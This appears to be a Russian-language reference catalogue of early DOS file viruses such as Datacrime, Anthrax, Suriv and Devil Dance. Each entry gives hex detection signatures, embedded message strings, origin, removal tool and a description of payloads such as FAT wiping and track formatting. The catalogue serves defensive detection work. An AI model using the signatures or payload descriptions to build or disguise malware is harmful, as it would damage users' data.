ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ Virus-90 _ RC-857 _ _1_ _D _An Cn _США (Вашингтон), декабрь 1989. _
(Вирус-90) _ _ _ _ _M _81 B8 FE FF 8E D8 2D CC _Деструктивные действия отсутствуют. _
_ _ _ _ _C _81 B8 FE FF 8E D8 2D CC _Известен автор (Patrick Toulme). _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_Задуман как демоверсия - заражает файлы _
_ _ _ _ _ _ _только на дискетах. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ Typo COM _ RC-867 _ _1_ _D _Av Cy Li _Великобритания (Брайтон), 10.89, Joe Hirst. _
_ (Опечатка) _ _ _ _ _M _99 FE 26 A1 5A 00 2E 89 _При выполнениии зараженной программы по чет-_
_ Typo/Fumble, _ _ _ _ _C _32C0B4DDCD163AC4750258C35356068B _ным дням заражает все СOM-файлы в текущем _
_ Fumble _ _ _ _ _ _ _каталоге. Искажает данные пересылаемые через_
(Искажатель), _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_параллельный порт (например принтер), _
867 _ _ _ _ _ _ _заменяя некоторые, случайно выбираемые сим- _
_ _ _ _ _ _ _волы на символы, расположенные на клавиатуре_
_ _ _ _ _ _ _справа (w на q, s на a и т.д. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# June16th _ C-879 _ ! _1_ _D _Az Cy Mc _ЮАР: апрель 1990 _
_$ Pretoria, _ _ _ _ _M _4D A9 A5 2E 70 66 2E 57 09 0F _При исполнении зараженной программы вирус _
South Africa _ _ _ _ _C _AC34A5AA4B75F9C3A11F0150A11D01A3 _просматривает все дерево каталогов и зара- _
_ _ _ _ _ _ _жает все имеющиеся COM-файлы. При этом время_
_ _ _ _ _ _ _поиска и заражения достаточно велико, в осо-_
_ _ _ _ _ _ _бенности на системах с жестким диском, когда_
_ _ _ _ _ _ _время загрузки программы становится велико. _
_ _ _ _ _ _ _Каждое 16-е июня уничтожает FAT и главный _
_ _ _ _ _ _ _каталог, записывая в соответствующие сектора_
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_слова ZAPPED _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*$ April First _RC-897 _Ier_1_~_D _Ab _Израиль, Июнь 1987 _
(Первоапрель- _ _ _ _ _I _89263401B419CD2104412EA265032EA2B _При заражении очередного файла вирус выдает _
ский СОМ вирус)_ _ _ _ _+ _103BF6703578BF2807C013A750D8A042E _на экран сообщение _
Suriv101, _ _ _ _ _+ _A265032EA2B103 _ YOU HAVE A VIRUS. _
Suriv01, _ _ _ _ _C _BE8104B900FF81E98104B4DDCD21EB23 _ Первого апреля выдает сообщение _
SURIV 1, _ _ _ _ _T _sURIV 1.01 _ HA HA HA IT'S APRIL 1ST - YOU HAVE A VIRUS._
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_и вызывает зависание системы, требующее хо- _
_ _ _ _ _ _ _лодной перезагрузки (с помощью клавиши RESET_
_ _ _ _ _ _ _или выключение питания) _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# VP _ C-913 _ _1_ _D _Cy Ic _Великобритания: май 1990 _
_ _ _ _ _ _M1_45 03 EB 18 08 65 56 50 _Весьма странный вирус, который иногда при _
_ _ _ _ _ _M2_21 89 1E 22 03 8C 06 24 03 B4 _заражении файла начинает выдавать на экран _
_ _ _ _ _ _ _ _его содержимое (следы отладки ?), а иногда _
_ _ _ _ _ _ _ _пытается запустить его на счет. В конце и _
_ _ _ _ _ _ _ _в начале файла имеется строка M1 _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Devil dance _ RC-941 _ _ _ _D _Az Km _Мексика(Мехико): декабрь 1989, Mao Fragoso _
(Танец дьявола)_ _ _ _ _M1_ 1E 06 8C C0 48 8E C0 26 _После того как вирус стал резидентным _
_ _ _ _ _M2_5E 1E 06 8C C0 48 8E C0 26 _попытка выполнить теплую перезагрузку при- _
_ _ _ _ _C _ 1E 06 8C C0 48 8E C0 26 _водит к выдаче на экран сообщения _
_ _ _ _ _ _ _DID YOU EVER DANCE WITH THE DEVIL _
_ _ _ _ _ _ _ IN THE WEAK MOONLIGHT? _
_ _ _ _ _ _ _ PRAY FOR YOUR DISKS!! _
_ _ _ _ _ _ _ The Joker _
_ _ _ _ _ _ _После первых 2000 нажатий на клавиши вирус _
_ _ _ _ _ _ _начинает изменять цвет вводимого текста на _
_ _ _ _ _ _ _экране монитора, а после 5000 нажатий _
_ _ _ _ _ _ _уничтожает первую копию FAT. Попытка пере- _
_ _ _ _ _ _ _загрузки начиная с этого момента помимо вы- _
_ _ _ _ _ _ _дачи приведенного выше сообщения ведет к _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_уничтожению первой копии FAT. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 1008 _RC-01008 _ _1_ _D _Co Ml Zeh _США, июнь 1990. _
_ _ _ _ _ _ _ _Заражает только файл COMMAND.COM. Маскирует _
_ _ _ _ _ _ _увеличение длины на зараженной машине. _
_ _ _ _ _ _ _Возможны зависания системы при загрузке или _
_ _ _ _ _ _ _выдача ошибки internal stack error _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Fellowship _RE-1022 _ _1_ _D _Itp Pt Se _Австралия: июль 1990 _
_ (Товарищество), _ _ _ _ _M _D2 74 01 40 89 44 04 89 54 02 _Инфицированные файлы содержат в конце текс- _
_ 1022 _ _ _ _ _T1_This message is dedicated to _товые строки T1-T5 _
_ _ _ _ _ _T2_all fellow PC users on Earth _ _
_ _ _ _ _ _T3_Toward A Better Tomorrow _ _
_ _ _ _ _ _T4_And a better Place To Live In _ _
_ _ _ _ _ _T5_03/03/90 KV KL MAL _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# V1024, _RCE-1024 _DAv_1_<_D _Cn Se Ml _Болгария: май 1990 _
_ Dark Avenger III_ _ _ _ _DR_h 1072 _Ранняя версия RCE-2000, хотя _
_ _ _ _ _ _DP_1024 < LenCE _обнаружена позднее. При запуске инфицирован-_
_ _ _ _ _M _2B C8 75 ED 8B D1 B8 00 42 CD 21 _ной программы вирус инсталлируется в и про- _
_ _ _ _ _T _7106286813 _веряет ряд прерываний, включая 1 и 3. Если _
_ _ _ _ _ _ _последние перехвачены, то вирус дает выпол- _
_ _ _ _ _ _ _ниться программе-носителю, а при выполнении _
_ _ _ _ _ _ _следующей программы подвешивает систему. _
_ _ _ _ _ _ _Вирус переносит несколько прерываний в стар-_
_ _ _ _ _ _ _шие адреса и использует их в дальнейшем. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Anthrax _RCEP-1040 _ _1_ _D _Co Ml _Нидерланды, июнь 1990. _
_ _ _ _ _ _M _75 ED 06 1E 07 1F 32 F6 B9 02 00 33 _При запуске зараженной программы на компью- _
_ _ _ _ _ _ _тере с винчестером заражется MBR и становит-_
_ _ _ _ _ _ _ся резидентным. Затем вирус не сразу начина-_
_ _ _ _ _ _ _ет заражать программы, а ждет наступления _
_ _ _ _ _ _ _некоторого события, возможно, определнного _
_ _ _ _ _ _ _количества вводов с клавиатуры. После этого _
_ _ _ _ _ _ _заражаются по одной программе, каждый раз _
_ _ _ _ _ _ _когда та или иная программа запускается на _
_ _ _ _ _ _ _выполнение. Жертва ищется по дереву катало- _
_ _ _ _ _ _ _гов диска С. Приращение варьируется от 1040 _
_ _ _ _ _ _ _до 1232 байт. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Armageron _ RC-1079 _ _1_ _D _Se _Греция (Афины): июнь 1990, George Spiliotis _
_ _ _ _ _ _M _B8 00 43 CD 21 2E 89 0E 48 01 _При запуске зараженной программы вирус _
Armagedon _ _ _ _ _ _ _инсталлируется и заражает исполняемые файлы _
The First, _ _ _ _ _ _ _Периодически посылает на порты COM1-COM4 _
_ _ _ _ _ _ _текстовую строку Armagedon the GREEK. _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_С 5:00 до 7:00 делает попытки использовать _
_ _ _ _ _ _ _COM-порт для телефонного вызова по определ. _
_ _ _ _ _ _ _номеру. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# 1168/DataCrime_ С-1168 _Dcr_3_~_D _Ac Mc _Голландия, апрель 1989. _
$ DataCrime A _ _!!!_ _ _M1_EB 00 B4 0E CD 21 B4 _Размножается с апреля по октябрь (с января _
(Дейтакрайм), _ _ _ _ _M2_36 01 01 83 EE 03 8B C6 3D 00 _по 1 апреля вирус впадает в спячку). _
Columbus Day _ _ _ _ _I _8B36010183EE038BC63D00007503E9FE00 _Фаза проявления наступает 13 октября и _
(День Колумба) _ _ _ _ _ +_1114011416071C181075031C0700065F580710 _продолжается по 31 декабря В этот период _
October 13 _ _ _ _ _ +_1910140610116F756475181407161D75646C6D _при запуске зараженной программы вирус _
(13 октября) _ _ _ _ _ +_6C5F58 _выдает сообщение _
_ _ _ _ _C _B402CD2143FEC975F1BBAD01B500BA80 _ DATACRIME VIRUS _
_ _ _ _ _ _ _ RELEASED: 1 MARCH 1989. _
_ _ _ _ _ _ _затем уничтожает первые 8 треков дисков А:, _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_B:, C и D: см. также штаммы С-1280 и CE-1514_
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# July 13TH _ E-1201 _ _2_ _D _Ip _Испания (Мадрид): июль 1990, _
_ _ _ _ _ _DP_1201 < LenE _Guillermo Gonzalez Garcia. _
_ _ _ _ _ _M _12 00 B9 B1 04 2E 30 04 46 E2 _Файловый вирус демонстрирующий 13 июля любо-_
_ _ _ _ _ _ _го года эффект движущегося шарика, заимство-_
_ _ _ _ _ _ _ванный из бутового вируса Bx1-1C(Ping-pong) _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 1210, _RE-1210 _ ! _1_ _D _Aci Se _Испания(Барселона), декабрь 1989. _
_ Prudents Virus_ _ _ _ _DR_t _Вирус активируется между 1 и 4 Мая любого _
_ _ _ _ _M _C4 74 F0 2E 80 3E 2F 04 01 75 _года и заменяет операцию записи на диск на _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_операцию верификации. Таким образом в ука- _
_ _ _ _ _ _ _занном периоде запись на диск блокируется. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 1226 _RC-1226a _!!!_1_<_D _Ab Cn Km Mac Se Zvh _Болгария, июль 1990 _
_ _ _ _ _ _DP_1226 < LenC _Тело вируса зашифровано и зараженные прог- _
_ _ _ _ _ _M _8B 36 6E 33 37 6F 54 02 36 6E 33 36 6E 22 _раммы нельзя выявить простым контекстным _
_ _ _ _ _ _ +_39 6E F8 36 6E 31 36 6E 22 _поиском. Вирус содержит ошибки из-за кото- _
_ _ _ _ _ _ _ _рых вместо выполнения программы выдает на _
_ _ _ _ _ _ _ _экран случайную последовательность символов _
_ _ _ _ _ _ _Имеется ряд версии в которых ошибки исправ- _
_ _ _ _ _ _ _лены (см.RC-1226D). _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 1226D _RC-1226d _!!!_1_<_D _Ab Cn Km Mac Seo Zvh _Болгария, июль 1990 _
_ _ _ _ _ _DP_1226 < LenC _Штамм с исправленными ошибками, заражающий _
_ _ _ _ _ _M _8B 36 6E 33 37 6F 54 02 36 6E 33 36 6E 22 _программы не только при выполнениии, но и _
_ _ _ _ _ +_39 6E F8 36 6E 31 36 6E 22 _при открытии файлов с расширением СОМ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# VirDem _R-1236 _Ven_1_~_D _Bt Itp Sm _Западная Германия: 1986,1987 _
_ (Демовирус) _ _ _ _ _ _ _Использовался Ральфом Бургером (Ralf Burger)_
_ _ _ _ _ _T1_VirDem Ver.: 1.06 (Generation #) aktive. _в качестве демопрограммы для ознакомления _
_ _ _ _ _ _T2_Copyright by R.Burger 1986,1987 _пользователей с функционированием компьютер-_
_ _ _ _ _ _T3_Phone.: D - xxxxx/xxxx _ных вирусов. Заражает только файлы на диске _
_ _ _ _ _ _ _ _A. Зараженные файлы, имевшие до заважения _
_ _ _ _ _ _T4_This is a demoprogram for _длину меньше 1500 байт будут иметь после за-_
_ _ _ _ _T5_computerviruses. Please put in a _ражения длину 2516, а больше 1500 увеличи- _
_ _ _ _ _ +_number now. _ваются в длине примерно на 1236 байт. При _
_ _ _ _ _T6_If you're right, you'll be _выполнении вирусоносителя вирус ищет жертву _
_ _ _ _ _ +_able to continue. _пропуская первый файл в корневом каталоге. _
_ _ _ _ _T7_The number is between 0 and # _Поэтому обычно вирус не заражает COMMAND.COM_
_ _ _ _ _ _ _После заражения вирус предлагает пользовате-_
_ _ _ _ _T8_Sorry, you're wrong _лю поиграть в своеобразную игру задавая _
_ _ _ _ _T9_More luck at next try .... _вопрос и предлагая отгадать ответ. Если от- _
_ _ _ _ _ _ _вет верен то выполняется программа вирусо- _
_ _ _ _ _ _ _носитель,если нет то выдаются сообщения T8, _
_ _ _ _ _ _ _T9 и программа опять ждет ответа пользователя
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 1253, _RCP-1253 _!!!_1_<_D _Az Cу K1 Ml Se _Австрия, август 1990 _
_ V-1, _ _ _ _ _DP_1226 < LenC _Первый известный файлово-бутовый вирус. _
_ AntiCad _ _ _ _ _T _V-1 _заражает как COM-файлы, так и таблицу раз- _
_ _ _ _ _DR_tl 2128 _делов. При выполнении вирусоносителя инстал-_
_ _ _ _ _HR_08,13,21,60 _лируется в память и сразу же пытается зара- _
_ _ _ _ _M _E4 CD 13 33 DB 2E 8A 36 20 7D 2E 8A _зить MBR винчестера. Бутсектор дискет при _
_ _ _ _ _ _ _при резидентном вирусе заражается при первом_
_ _ _ _ _ _ _же обращении. По видимому перезаписывает _
_ _ _ _ _ _ _содержимое дисков _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# 1260 _ C-1260v _Ven_1_ _D _Cy Ds31 Mac Spl _США(Миннесота), январь 1990. _
_ _ _ _ _ _ _Штамм C-648.Изменяет в элементе каталога се-_
_ _ _ _ _ _ _кунды времени создания файла на 31, исполь- _
_ _ _ _ _ _ _зуя это значение для идентификации заражения_
_ _ _ _ _ _ _Жертвы ищет по PATH. Тело вируса шифруется _
_ _ _ _ _ _ _и инсталлятор меняется случайным образом, _
_ _ _ _ _ _ _делая невозможным использование для поиска _
_ _ _ _ _ _ _зараженных файлов контекстного поиска. _
_ _ _ _ _F _CLEAR v66+ (СП 7-90) _Способен размножаться в локальной сети,зара-_
_ _ _ _ _ _ _жая как файл-сервер, так и рабочие станции. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* 1280, _ C-1280 _Dcr_3_<_D _Af Cn Li Mc _Штамм вируса Datacrime _
* Datacrime-2 _ _!!!_ _ _M1_56 8D B4 30 05 CD 21 _ _
(Дейтакрайм-2),_ _ _ _ _M2_8A 94 03 01 8D BC 29 01 8D 8C EA 06 _ _
$ Datacrime-B _ _ _ _ _I _8A9403018DBC29018D8CEA065E81EE030183 _ _
(Дейтакрайм-Б),_ _ _ _ _H _1114011416071C181075031C0700065F580710 _ _
Columbus Day _ _ _ _ _+ _1910140610116F756475181407161D75646C6D _ _
(День Колумба) _ _ _ _ _+ _6C5F58 _ _
October 13 _ _ _ _ _C _B402CD2143FEC975F1BBB101B500BA80 _ _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# Sylvia/Holland_ RC-1332 _ _1_ _D _Ak Сn Ba _Нидерланды: декабрь 1989, Jan Terpstra _
_ -1301? _ _ _ _M _36 03 01 33 C9 33 C0 AC _Вирус изменяет текущий каталог на каталог _
Sylvia virus, _ _ _ _ _ _ _C:\. Заражает все файлы в главном каталоге _
(Сильвия) _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_диска С, текущего каталога и исполняемые _
Holland Girl _ _ _ _ _ _ _файлы. Некоторые из файлов уничтожаются и на_
(Голланская _ _ _ _ _ _ _их месте остается только тело вируса. _
девушка) _ _ _ _ _ _ _Cодержит имя девушки, ее адрес и просьбу _
Netherlands Girl_ _ _ _ _ _ _послать ей поздравительную открытку в обмен _
_ _ _ _ _ _ _на которую вам якобы будет выслан антивирус _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 1381 _ E-1381 _!!!_1_ _D _Itx Sf _США, июнь 1990. _
_ _ _ _ _DP_1300 < LenE _По видимому, имитирует сбой оборудования, _
_ _ _ _ _M _C8 8E D8 B8 40 00 8E C0 FC E8 58 04 80 3E _выдавая сообщения T1-T3 _
_ _ _ _ _T1_INTERNAL ERROR 02CH. _ _
_ _ _ _ _T2_PLEASE CONTACT YOUR HARDWARE MANUFACTURER _ _
_ _ _ _ _+ _ IMMEDIATELY ! _ _
_ _ _ _ _T3_DO NOT FORGET TO REPORT THE ERROR CODE ! _ _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# 1392, _RCE-1392 _ _1_ _D _Bx Cy Di _Индонезия, март 1990. _
_ Amoeba _ _ _ _ _DR_t _Деструктивные действия отсутствуют _
_ _ _ _ _M1_A3 21 01 8B 44 14 A3 23 01 _ _
_ _ _ _ _M2_16 A3 21 01 8B 44 14 A3 23 01 . _ _
_ _ _ _ _C _A3 21 01 8B 44 14 A3 23 01 _ _
_ _ _ _ _T _SMA KHETAPUNK - Nouvel Band A.M.O.E.B.A. _ _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Suriv02 _RE-1488a _Ier_1_~_D _K1 _Израиль, конец 1987 - начало 1988 г. _
(Сурив-02), _ _ _ _ _M _73 55 52 49 56 00 32 - штамм D _Аналогичен RC-897, однако поражает только _
$ April 1st D _ _ _ _ _C _8B1E25000BDB7413B90080F3A5050010 _EXE-файлы. Кроме того вирус вызывает зависа-_
(ПервоапрельскийD_ _ _ _ _I _2EA31700BB17000E1FB4DECD21B42ACD2 _ние системы без выдачи сообщения через час _
Jerusalem virus _ _ _ _ _+ _181FA0104742281F9BC077506E8C504 _после своей инсталляции в память, если на _
version D, _ _ _ _ _ _ _компьютере установлена дата 01.01.80 _
(Иерусалимский _ _ _ _ _ _ _Имеется штамм с незначительными отличиями в _
вирус версии D _ _ _ _ _ _ _в первых 16 байтах (см. RC-1488B). _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* Suriv03 _RE-1488b _Ier_2_ _D _ _Израиль, конец 1987 - начало 1988 г. _
(Сурив-03), _ _ _ _ _M _ 73555249560033 - штамм E _Штамм RC-1488A, назначительно отличающийся _
$ April 1st D _ _ _ _ _T _sURIV 3.0 _первыми 16 байтами _
(ПервоапрельскийD_ _ _ _ _F _CLEAR v66+ (СП 7-90) _ _
Jerusalem virus _ _ _ _ _ _ _ _
version E, _ _ _ _ _ _ _ _
(Иерусалимский _ _ _ _ _ _ _ _
вирус версии Е)_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_* Subliminal 1.10_RC-1496 _Sol_1_ _D _Cy Itc Se _США(Калифорния): май 1990, Jay Parangalan _
_ _ _ _ _ _M _8B 3E 25 01 8B D7 2E 8E 06 27 _Ранняя версия RC-2000. _
_ _ _ _ _ _ _ _Имя вируса получено путем выполнения опера- _
_ _ _ _ _ _ _ _ции XOR FFh над группами байт, заканчиваю- _
_ _ _ _ _ _ _щихся нулем. При резидентном вирусе монитор _
_ _ _ _ _ _ _начинает мигать. Это связано с тем, что ви-
_ _ _ _ _ _ _рус выдает сообщение LOVE, REMEMBER? в ле-_
_ _ _ _ _ _ _вом нижнем углу экрана в течении очень мало-_
_ _ _ _ _ _ _го промежутка времени. Конкретное время на- _
_ _ _ _ _ _ _хождения надписи на экране зависит от ско- _
_ _ _ _ _ _ _рости центрального процессора _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* DatacrimeII _ CE-1514 _Dcr_3_<_D _Afk Bt Cу Li Mc _Голландия, сентябрь 1989. _
(ДейтакраймII),_ _!!!_ _ _M _2E8A0732C2D0CA2E _Более позний штамм С-1168 _
$ DataCrime C _ _ _ _ _T _ (* сообщения перекодированы и в дампе _С 1 января по 12 октября вирус только раз- _
(Датакрайм С), _ _ _ _ _ _ не видны *) _жается, заражая файлы размером до 60К только_
DataCrime II-A,_ _ _ _ _C _2E8A072EC6052232C2D0CA2E8807432E _на дисках A,B,C. При выполнении зараженного _
Columbus Day _ _ _ _ _H _7F751114011416071C1810751C1C7503 _файла вирус просматривает каталоги на дисках_
(День Колумба),_ _ _ _ _+ _1C070006757F5F58 _A, B, C и заражает первый подходящий файл. _
October 13 _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_С 12 октября по 31 декабря при исполнении _
(13 октября) _ _ _ _ _ _ _зараженного файла вирус выдает на экран _
_ _ _ _ _ _ _сообщение _
_ _ _ _ _ _ _ ЪДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДї _
_ _ _ _ _ _ _ _ 1 MARCH 1989, DATACRIME VIRUS _ _
_ _ _ _ _ _ _ АДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ _
_ _ _ _ _ _ _затем форматирует первую дорожку винчестера _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
* 1536, _RCE-1536 _ _1_ _D _Av Cn Li Ml Se _10.88 _
$ Zero Bug, _ _ _ _ _M _EB 2B 90 5A 45 CD 60 2E _Заражает файлы при запуске на выполнение _
Pallete, _ _ _ _ _C _35B060CD21BB000126817F035A4574C0 _Через некоторое время на экране появляется _
Agiplan _ _ _ _ _ _ _жучок, который начинает поедать все имеющ-_
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_щиеся на экране символы 0(нуль). _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# XA1, _ C-1539 _ _1_ _D _Az Bv Cy Li Mc _ФРГ: апрель 1990. _
_$ Christmas Tree_ _ _ _ _M _FA 8B EC 58 32 C0 89 46 02 81 _1 апреля разрушает FAT. C 24 декабря по _
_ virus _ _ _ _ _C _FA8BEC5832C08946028146002800B9CE _1 января выдает на экран рисунок новогодней _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_елки _
_ _ _ _ _ _ _ _
